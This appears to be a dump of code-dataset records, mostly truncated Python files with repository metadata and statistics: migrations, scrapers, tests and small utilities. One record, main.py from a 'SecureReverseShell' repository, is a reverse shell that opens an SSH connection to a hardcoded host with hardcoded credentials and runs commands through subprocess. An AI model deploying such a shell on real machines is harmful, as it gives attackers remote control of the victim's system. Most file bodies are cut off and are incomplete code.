Programming Language ... | 37.022727 | 148 | 0.704727 | 195 | 1,629 | 5.820513 | 0.528205 | 0.100441 | 0.132159 | 0.09163 | 0.142731 | 0.100441 | 0.100441 | 0.100441 | 0.100441 | 0.100441 | 0 | 0.017429 | 0.154696 | 1,629 | 43 | 149 | 37.883721 | 0.806826 | 0.007366 | 0 | 0 | 0 | 0.04878 | 0.732508 | 0.055108 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.02439 | 0 | 0.02439 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
39a1369c4e5526d7ed68653fafdbf8716c05deb1 | 894 | py | Python | legacy/test.py | Archaeoraptor/tools | 36d09a66b552454a9bdfdb8aea32cd2b3822a899 | [
"BSD-3-Clause"
] | 1 | 2021-06-09T08:03:55.000Z | 2021-06-09T08:03:55.000Z | legacy/test.py | Archaeoraptor/tools | 36d09a66b552454a9bdfdb8aea32cd2b3822a899 | [
"BSD-3-Clause"
] | null | null | null | legacy/test.py | Archaeoraptor/tools | 36d09a66b552454a9bdfdb8aea32cd2b3822a899 | [
"BSD-3-Clause"
] | 1 | 2021-07-01T07:51:30.000Z | 2021-07-01T07:51:30.000Z | '''
@Author: zjk
@Date: 2020-04-26 11:37:52
@LastEditTime: 2020-04-26 11:41:56
@LastEditors: zjk
@Description:
'''
from lxml import etree
import os
import sys
import regex
def xmltohtml(inputpath, outputpath):
# convert xmlfile to html
# htmlfile = open(path, 'r', encoding='utf-8')
line = os.path.split(inpu... | 22.35 | 76 | 0.592841 | 117 | 894 | 4.529915 | 0.555556 | 0.062264 | 0.067925 | 0.037736 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.05644 | 0.227069 | 894 | 40 | 77 | 22.35 | 0.710564 | 0.210291 | 0 | 0 | 0 | 0 | 0.071918 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.210526 | null | null | 0.052632 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
39a315538b80940ec1d6d57572fccfd3ecec08d0 | 423 | py | Python | src/usermgmt/migrations/0014_auto_20200620_0409.py | micha31r/The-Impossible | 7a79dea3169907eb93107107f4003c5813de58dc | [
"MIT"
] | null | null | null | src/usermgmt/migrations/0014_auto_20200620_0409.py | micha31r/The-Impossible | 7a79dea3169907eb93107107f4003c5813de58dc | [
"MIT"
] | 2 | 2020-04-15T03:57:42.000Z | 2020-06-06T01:43:34.000Z | src/usermgmt/migrations/0014_auto_20200620_0409.py | micha31r/The-Impossible | 7a79dea3169907eb93107107f4003c5813de58dc | [
"MIT"
] | null | null | null | # Generated by Django 2.2.7 on 2020-06-20 04:09
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('usermgmt', '0013_profile_tags'),
]
operations = [
migrations.AlterField(
model_name='profile',
name='tags',
... | 22.263158 | 93 | 0.607565 | 47 | 423 | 5.361702 | 0.765957 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.06129 | 0.267139 | 423 | 18 | 94 | 23.5 | 0.751613 | 0.106383 | 0 | 0 | 1 | 0 | 0.138298 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
39a90df5bc12f731e300c0a5ecbd2d15b605de4d | 1,480 | py | Python | main.py | jicoyne/SecureReverseShell | 8c6db55dcc490c772707a020c0cc0ce74d4cec1b | [
"MIT"
] | 1 | 2021-01-28T01:45:38.000Z | 2021-01-28T01:45:38.000Z | main.py | jicoyne/SecureReverseShell | 8c6db55dcc490c772707a020c0cc0ce74d4cec1b | [
"MIT"
] | null | null | null | main.py | jicoyne/SecureReverseShell | 8c6db55dcc490c772707a020c0cc0ce74d4cec1b | [
"MIT"
] | null | null | null | import paramiko
import subprocess
HOST = '10.10.10.10'
USERNAME = 'test'
PASSWORD = 'test'
PORT = 2022
run = True
while run == True:
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(HOST, port=PORT, username=USERNAME, password=PASSWORD, compr... | 29.6 | 89 | 0.539189 | 158 | 1,480 | 5.006329 | 0.398734 | 0.101138 | 0.101138 | 0.045512 | 0.152971 | 0.068268 | 0 | 0 | 0 | 0 | 0 | 0.016478 | 0.343919 | 1,480 | 49 | 90 | 30.204082 | 0.798146 | 0 | 0 | 0.382979 | 0 | 0 | 0.047297 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.06383 | 0.042553 | 0 | 0.042553 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
39ad96b7955230d4bf783431f20d2b9e7b65355e | 4,653 | py | Python | tools/annotation/anno_lib/pathcom.py | hidelab/galaxy-central-hpc | 75539db90abe90377db95718f83cafa7cfa43301 | [
"CC-BY-3.0"
] | null | null | null | tools/annotation/anno_lib/pathcom.py | hidelab/galaxy-central-hpc | 75539db90abe90377db95718f83cafa7cfa43301 | [
"CC-BY-3.0"
] | null | null | null | tools/annotation/anno_lib/pathcom.py | hidelab/galaxy-central-hpc | 75539db90abe90377db95718f83cafa7cfa43301 | [
"CC-BY-3.0"
] | null | null | null | import re
import requests as req
from xml.etree.ElementTree import XMLParser
class To_and_fro():
''' perform the queries through http, requires the url '''
def __init__(self,loc):
self.loc = loc
def ask(self,info):
''' query url for inputted parameters '''
req_obj = req.post(self.loc,info)
return req_o... | 25.288043 | 134 | 0.660219 | 704 | 4,653 | 4.224432 | 0.275568 | 0.03497 | 0.01345 | 0.014122 | 0.070948 | 0.053463 | 0.017485 | 0 | 0 | 0 | 0 | 0.007967 | 0.217709 | 4,653 | 183 | 135 | 25.42623 | 0.809066 | 0.170213 | 0 | 0.061856 | 0 | 0 | 0.079762 | 0.01564 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.030928 | null | null | 0.041237 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
39be58574a7d9f969c5bfd1f546425e3f937f83c | 1,802 | py | Python | tests/__init__.py | horaceg/jekyllnb | 2ae5ff13ffc799c9ff88ddb60d8c8a9ed415d3cc | [
"MIT"
] | 12 | 2019-06-20T13:53:54.000Z | 2022-01-24T09:05:44.000Z | tests/__init__.py | horaceg/jekyllnb | 2ae5ff13ffc799c9ff88ddb60d8c8a9ed415d3cc | [
"MIT"
] | 201 | 2018-10-26T06:29:57.000Z | 2022-03-01T08:08:32.000Z | tests/__init__.py | horaceg/jekyllnb | 2ae5ff13ffc799c9ff88ddb60d8c8a9ed415d3cc | [
"MIT"
] | 1 | 2021-05-03T09:22:03.000Z | 2021-05-03T09:22:03.000Z | import os
from abc import ABC, abstractmethod
from difflib import Differ
from pprint import pprint
from subprocess import call
import pytest
FILE_NAME = "hello-world"
SITE_DIR = "docs"
PAGE_DIR = "_pages"
IMAGE_DIR = os.path.join("assets", "images")
class AbstractConfig(ABC):
@abstractmethod
@pytest.fixture... | 27.723077 | 88 | 0.670921 | 234 | 1,802 | 4.987179 | 0.337607 | 0.061697 | 0.054841 | 0.034276 | 0.262211 | 0.214225 | 0.095973 | 0.095973 | 0.095973 | 0.095973 | 0 | 0.015771 | 0.22586 | 1,802 | 64 | 89 | 28.15625 | 0.820789 | 0.04939 | 0 | 0.204082 | 0 | 0 | 0.032806 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 1 | 0.204082 | false | 0.020408 | 0.122449 | 0 | 0.367347 | 0.102041 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
39c31a3e19868bd92c0f2c21abfb1dbe490acfee | 4,924 | py | Python | bin/simulations/vs_z_data.py | DarkEnergyScienceCollaboration/chroma | 64fc123a065334b307654f29b3bea52885b46ec8 | [
"BSD-2-Clause",
"BSD-3-Clause"
] | 3 | 2015-10-22T14:57:27.000Z | 2016-08-25T08:16:02.000Z | bin/simulations/vs_z_data.py | DarkEnergyScienceCollaboration/chroma | 64fc123a065334b307654f29b3bea52885b46ec8 | [
"BSD-2-Clause",
"BSD-3-Clause"
] | 1 | 2017-08-28T14:42:46.000Z | 2017-08-28T16:08:37.000Z | bin/simulations/vs_z_data.py | DarkEnergyScienceCollaboration/chroma | 64fc123a065334b307654f29b3bea52885b46ec8 | [
"BSD-2-Clause",
"BSD-3-Clause"
] | null | null | null | import subprocess
import os
from argparse import ArgumentParser
def vs_z_data(correction_modes, size_modes, physics_modes, profile_modes, clobber=False):
stamp_size = 31
for size_mode in size_modes:
for physics_mode in physics_modes:
for profile_mode in profile_modes:
for co... | 50.244898 | 131 | 0.49736 | 530 | 4,924 | 4.413208 | 0.20566 | 0.06413 | 0.017101 | 0.020522 | 0.660966 | 0.646858 | 0.646858 | 0.619496 | 0.599829 | 0.599829 | 0 | 0.026809 | 0.371243 | 4,924 | 97 | 132 | 50.762887 | 0.728682 | 0.190699 | 0 | 0.444444 | 0 | 0 | 0.153612 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.041667 | null | null | 0.013889 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
39c3c339d4f12104945680a446a97c32590b8f7d | 623 | py | Python | src/database/migrations/0017_auto_20190723_2139.py | gregory-chekler/api | 11ecbea945e7eb6fa677a0c0bb32bda51ba15f28 | [
"MIT"
] | 2 | 2020-07-24T12:58:17.000Z | 2020-12-17T02:26:13.000Z | src/database/migrations/0017_auto_20190723_2139.py | gregory-chekler/api | 11ecbea945e7eb6fa677a0c0bb32bda51ba15f28 | [
"MIT"
] | 214 | 2019-06-26T17:33:54.000Z | 2022-03-26T00:02:34.000Z | src/database/migrations/0017_auto_20190723_2139.py | massenergize/portalBackEnd | 7ed971b2be13901667a216d8c8a46f0bed6d6ccd | [
"MIT"
] | 6 | 2020-03-13T20:29:06.000Z | 2021-08-20T16:15:08.000Z | # Generated by Django 2.2.3 on 2019-07-23 21:39
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('database', '0016_auto_20190723_2107'),
]
operations = [
migrations.RemoveField(
model_name='use... | 25.958333 | 126 | 0.627608 | 67 | 623 | 5.716418 | 0.656716 | 0.062663 | 0.073107 | 0.114883 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.066955 | 0.256822 | 623 | 23 | 127 | 27.086957 | 0.760259 | 0.072231 | 0 | 0.117647 | 1 | 0 | 0.164931 | 0.039931 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.117647 | 0 | 0.294118 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
39ca181eaa37b27b0043aa2b4ac910aa31200025 | 279 | py | Python | Parte 2/Semana 2/maiusculas.py | GabrielReira/Computer-Science-USP | 47a3cb68ccaa08f7302fbd9d9905ca80cee432cb | [
"MIT"
] | null | null | null | Parte 2/Semana 2/maiusculas.py | GabrielReira/Computer-Science-USP | 47a3cb68ccaa08f7302fbd9d9905ca80cee432cb | [
"MIT"
] | null | null | null | Parte 2/Semana 2/maiusculas.py | GabrielReira/Computer-Science-USP | 47a3cb68ccaa08f7302fbd9d9905ca80cee432cb | [
"MIT"
] | null | null | null | def maiusculas(frase):
palavra = ''
for letra in frase:
if ord(letra) >= 65 and ord(letra) <= 90:
palavra += letra
return palavra
def maiusculas2(frase):
palavra = ''
for letra in frase:
if letra.isupper():
palavra += letra
return palavra
| 16.411765 | 45 | 0.609319 | 35 | 279 | 4.857143 | 0.428571 | 0.141176 | 0.176471 | 0.235294 | 0.341176 | 0.341176 | 0.341176 | 0 | 0 | 0 | 0 | 0.024876 | 0.27957 | 279 | 16 | 46 | 17.4375 | 0.820896 | 0 | 0 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
39ca4f0b6c4044e0c24c68010d1c77cf80db83a1 | 2,108 | py | Python | brain_body_challenge.py | PiyuGandhi/Brain-Body-Challenge | ce90521974b0bec591d1829c3093e7e8c72aad9b | [
"MIT"
] | null | null | null | brain_body_challenge.py | PiyuGandhi/Brain-Body-Challenge | ce90521974b0bec591d1829c3093e7e8c72aad9b | [
"MIT"
] | null | null | null | brain_body_challenge.py | PiyuGandhi/Brain-Body-Challenge | ce90521974b0bec591d1829c3093e7e8c72aad9b | [
"MIT"
] | null | null | null | import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
data_train = pd.read_csv('brain_body_challenge.txt',names=['Brain','Body'])
data_test = pd.read_fwf('brain_body.txt')
# Training Features and Labels
X_Train = data_train[['Brain']]
Y_Train = data_train[['Body']]
# Test Features and Labels
X_Test ... | 17.714286 | 75 | 0.748102 | 334 | 2,108 | 4.52994 | 0.164671 | 0.069399 | 0.046266 | 0.079313 | 0.622604 | 0.604098 | 0.469266 | 0.469266 | 0.469266 | 0.469266 | 0 | 0 | 0.124288 | 2,108 | 118 | 76 | 17.864407 | 0.81961 | 0.20351 | 0 | 0.510204 | 0 | 0 | 0.105996 | 0.014537 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.163265 | null | null | 0.102041 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
39cde9bf11751854a09e918dbdcfc002538f0745 | 573 | py | Python | app.py | benjaminhuypham/Mission-to-Mars | ae20cd282cacf914eb229a2a7ad0c3911e3c33e3 | [
"ADSL"
] | null | null | null | app.py | benjaminhuypham/Mission-to-Mars | ae20cd282cacf914eb229a2a7ad0c3911e3c33e3 | [
"ADSL"
] | null | null | null | app.py | benjaminhuypham/Mission-to-Mars | ae20cd282cacf914eb229a2a7ad0c3911e3c33e3 | [
"ADSL"
] | null | null | null | from flask import Flask, render_template, jsonify, redirect
from flask_pymongo import PyMongo
import scrape_mars
app = __Flask__(name)
app.config('MONGO_URL')='mongodb://localhost:27017/mars'
mongo = PyMongo(app)
@app.route('/')
def index():
mars = mongo.db.mars.find_one()
return render_template("index.html", m... | 18.483871 | 60 | 0.706806 | 81 | 573 | 4.777778 | 0.45679 | 0.077519 | 0.056848 | 0.077519 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016227 | 0.139616 | 573 | 31 | 61 | 18.483871 | 0.768763 | 0 | 0 | 0 | 0 | 0 | 0.108014 | 0.052265 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.130435 | null | null | 0.043478 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
39cf45b8c5885d9b60d749cf2f15854ef134020b | 4,814 | py | Python | tests/test_codecademy.py | drishyatm/Codecademy | 6a65e405d0eb03380afa6111469753f7077272f1 | [
"MIT"
] | null | null | null | tests/test_codecademy.py | drishyatm/Codecademy | 6a65e405d0eb03380afa6111469753f7077272f1 | [
"MIT"
] | null | null | null | tests/test_codecademy.py | drishyatm/Codecademy | 6a65e405d0eb03380afa6111469753f7077272f1 | [
"MIT"
] | null | null | null | """
Testing the end to end scenario for Codecademy- Enrolling for a course
Logging in will redirect to home page
Click on the Catalog in the Home page
Catalog will show the list of the course
Select the course, Here I selected SQL
SQL course page will show with the list of courses related to the SQL
Verify the recommen... | 39.138211 | 93 | 0.604902 | 583 | 4,814 | 4.751286 | 0.277873 | 0.075812 | 0.025271 | 0.036823 | 0.306137 | 0.2787 | 0.228159 | 0.215884 | 0.182671 | 0.12852 | 0 | 0.00092 | 0.322808 | 4,814 | 122 | 94 | 39.459016 | 0.848773 | 0.169921 | 0 | 0.223684 | 0 | 0 | 0.176987 | 0 | 0 | 0 | 0 | 0 | 0.013158 | 1 | 0.013158 | false | 0.092105 | 0.078947 | 0 | 0.092105 | 0.065789 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
39d686cb247aa7b70b346e587824031a55849268 | 1,182 | py | Python | util/lba2chs.py | bomsi/AtriumOS | 7e91cce1059613b6529dc17e3c42b4d85b5b97bc | [
"BSD-2-Clause"
] | 2 | 2019-05-06T19:10:25.000Z | 2019-08-01T08:14:13.000Z | util/lba2chs.py | bomsi/AtriumOS | 7e91cce1059613b6529dc17e3c42b4d85b5b97bc | [
"BSD-2-Clause"
] | null | null | null | util/lba2chs.py | bomsi/AtriumOS | 7e91cce1059613b6529dc17e3c42b4d85b5b97bc | [
"BSD-2-Clause"
] | null | null | null | #!/usr/bin/env python
# Helper script to convert between LBA and CHS addresses.
import sys
def lba2chs(lba, cylinders=80, heads=2, sectors=18):
if cylinders < 1 or cylinders > 1024:
raise ValueError, '1 <= cylinders <= 1024'
if heads < 1 or heads > 255:
raise ValueError, '1 <= heads <= 255'
if sectors < 1 or ... | 26.266667 | 61 | 0.674281 | 207 | 1,182 | 3.681159 | 0.357488 | 0.062992 | 0.070866 | 0.055118 | 0.12336 | 0.041995 | 0.041995 | 0 | 0 | 0 | 0 | 0.062887 | 0.179357 | 1,182 | 44 | 62 | 26.863636 | 0.72268 | 0.088832 | 0 | 0 | 0 | 0 | 0.194393 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.034483 | null | null | 0.068966 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
39d6bc1924396c65e4db35f64f15d74455752800 | 4,009 | py | Python | mongodbtools/collection_stats.py | TinLe/mongodb-tools | 65768477a5fc72160418505fbf3bb95d05853b9d | [
"MIT"
] | null | null | null | mongodbtools/collection_stats.py | TinLe/mongodb-tools | 65768477a5fc72160418505fbf3bb95d05853b9d | [
"MIT"
] | null | null | null | mongodbtools/collection_stats.py | TinLe/mongodb-tools | 65768477a5fc72160418505fbf3bb95d05853b9d | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""
This script prints some basic collection stats about the size of the
collections and their indexes.
"""
from prettytable import PrettyTable
import psutil
from pymongo import Connection
from pymongo import ReadPreference
from argparse import ArgumentParser
import os
def compute_signature(ind... | 33.408333 | 116 | 0.615864 | 481 | 4,009 | 4.989605 | 0.31185 | 0.045 | 0.020833 | 0.01875 | 0.041667 | 0 | 0 | 0 | 0 | 0 | 0 | 0.036424 | 0.246695 | 4,009 | 119 | 117 | 33.689076 | 0.758278 | 0.028935 | 0 | 0.021277 | 0 | 0.010638 | 0.171028 | 0 | 0 | 0 | 0 | 0.008403 | 0 | 0 | null | null | 0 | 0.06383 | null | null | 0.106383 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
39dc3686a25938fa7f588d07f6575d9f8394eb1e | 1,373 | py | Python | venv/Lib/site-packages/pyshorteners/shorteners/gitio.py | arturj9/encurtar-link | 2e5bfdd2b2525f10f41942c79cb45cc4e43a24ee | [
"MIT"
] | null | null | null | venv/Lib/site-packages/pyshorteners/shorteners/gitio.py | arturj9/encurtar-link | 2e5bfdd2b2525f10f41942c79cb45cc4e43a24ee | [
"MIT"
] | null | null | null | venv/Lib/site-packages/pyshorteners/shorteners/gitio.py | arturj9/encurtar-link | 2e5bfdd2b2525f10f41942c79cb45cc4e43a24ee | [
"MIT"
] | null | null | null | from pyshorteners.base import BaseShortener
from pyshorteners.exceptions import ShorteningErrorException
class Shortener(BaseShortener):
"""Git.io shortener Implementation
Example:
>>> import pyshorteners
>>> s = pyshorteners.Shortener(code='12345')
>>> s.gitio.short('https://github.... | 27.46 | 77 | 0.597961 | 146 | 1,373 | 5.589041 | 0.445205 | 0.030637 | 0.036765 | 0.044118 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015528 | 0.296431 | 1,373 | 49 | 78 | 28.020408 | 0.829193 | 0.405681 | 0 | 0.111111 | 0 | 0 | 0.052933 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0.055556 | 0.111111 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
39dce7a83c96fac5139bfee441be4cc3b8996174 | 746 | py | Python | NamingConvention/NamingConventionTests/FlatFileNameCompliance.py | actgov/act-data-lake | b6e6fcc17f31b57ead1b4fe7e84887c520b09825 | [
"Apache-2.0"
] | 4 | 2017-11-17T05:45:16.000Z | 2018-04-16T05:49:05.000Z | NamingConvention/NamingConventionTests/FlatFileNameCompliance.py | ACTDataLake/act-data-lake | c5533d93f6b05dd602486cafa06458264bd77310 | [
"Apache-2.0"
] | null | null | null | NamingConvention/NamingConventionTests/FlatFileNameCompliance.py | ACTDataLake/act-data-lake | c5533d93f6b05dd602486cafa06458264bd77310 | [
"Apache-2.0"
] | 2 | 2018-03-01T05:25:16.000Z | 2018-03-07T06:58:01.000Z | #! /usr/bin/python
import re
import sys
#Description: Checks a string against the naming conventions for Flat Files.
#Author: Robert A. Marshall
#Date: 27/10/17
#Authorised by:
#Last Modified: 27/10/17
#Audit Log:
#Notes: Returns error messages as a string or an empty string if no errors.
#----------------------------... | 28.692308 | 94 | 0.655496 | 98 | 746 | 4.979592 | 0.663265 | 0.028689 | 0.02459 | 0.094262 | 0.159836 | 0.159836 | 0 | 0 | 0 | 0 | 0 | 0.025197 | 0.148794 | 746 | 25 | 95 | 29.84 | 0.743307 | 0.50134 | 0 | 0 | 0 | 0 | 0.350975 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.222222 | null | null | 0.222222 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
39ee5921be2614dc9da33236c5f2cbc18c29d333 | 9,134 | py | Python | src/sentinel_server/modules/gitegridy/gitegridy.py | karlrink/sentinel | 55474617cc4351030a88e0e7d946532f4c6a6337 | [
"MIT"
] | null | null | null | src/sentinel_server/modules/gitegridy/gitegridy.py | karlrink/sentinel | 55474617cc4351030a88e0e7d946532f4c6a6337 | [
"MIT"
] | null | null | null | src/sentinel_server/modules/gitegridy/gitegridy.py | karlrink/sentinel | 55474617cc4351030a88e0e7d946532f4c6a6337 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import os
from subprocess import Popen, PIPE
import sys
def gitStoreLink(git_store, List, verbose=False):
if not os.path.isdir(git_store):
if verbose: print('mkdir ' + str(git_store))
os.mkdir(git_store, 0o755)
for f in List:
gfile = git_store + f
if... | 28.72327 | 78 | 0.587037 | 1,207 | 9,134 | 4.334714 | 0.111019 | 0.085627 | 0.056193 | 0.057339 | 0.753058 | 0.6875 | 0.664182 | 0.652905 | 0.652905 | 0.612768 | 0 | 0.008262 | 0.271185 | 9,134 | 317 | 79 | 28.81388 | 0.777678 | 0.055726 | 0 | 0.606481 | 0 | 0 | 0.096549 | 0.002905 | 0 | 0 | 0 | 0 | 0 | 1 | 0.050926 | false | 0 | 0.013889 | 0 | 0.152778 | 0.203704 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f2cbf91c804e332311fa54a3b6c44aa8a03044a1 | 10,619 | py | Python | architecture_view_sdk/api/business/get_app_deploy_instance_pb2.py | easyopsapis/easyops-api-python | adf6e3bad33fa6266b5fa0a449dd4ac42f8447d0 | [
"Apache-2.0"
] | 5 | 2019-07-31T04:11:05.000Z | 2021-01-07T03:23:20.000Z | architecture_view_sdk/api/business/get_app_deploy_instance_pb2.py | easyopsapis/easyops-api-python | adf6e3bad33fa6266b5fa0a449dd4ac42f8447d0 | [
"Apache-2.0"
] | null | null | null | architecture_view_sdk/api/business/get_app_deploy_instance_pb2.py | easyopsapis/easyops-api-python | adf6e3bad33fa6266b5fa0a449dd4ac42f8447d0 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: get_app_deploy_instance.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from goo... | 41.972332 | 841 | 0.763443 | 1,203 | 10,619 | 6.458853 | 0.139651 | 0.044273 | 0.048649 | 0.033462 | 0.59009 | 0.510425 | 0.484299 | 0.466023 | 0.456242 | 0.456242 | 0 | 0.033142 | 0.116301 | 10,619 | 252 | 842 | 42.138889 | 0.794864 | 0.047462 | 0 | 0.647059 | 1 | 0.004525 | 0.229886 | 0.200099 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.022624 | 0 | 0.022624 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f2cd552afb1d6a01409e572ead9b3d3956564f28 | 24,574 | py | Python | parseresults/timeplots.py | MECPerf/MECPerf | d34f5cc981c9d5fc5482ff81eea04412ad946829 | [
"BSD-3-Clause"
] | 1 | 2021-01-16T02:02:17.000Z | 2021-01-16T02:02:17.000Z | parseresults/timeplots.py | MECPerf/MECPerf | d34f5cc981c9d5fc5482ff81eea04412ad946829 | [
"BSD-3-Clause"
] | null | null | null | parseresults/timeplots.py | MECPerf/MECPerf | d34f5cc981c9d5fc5482ff81eea04412ad946829 | [
"BSD-3-Clause"
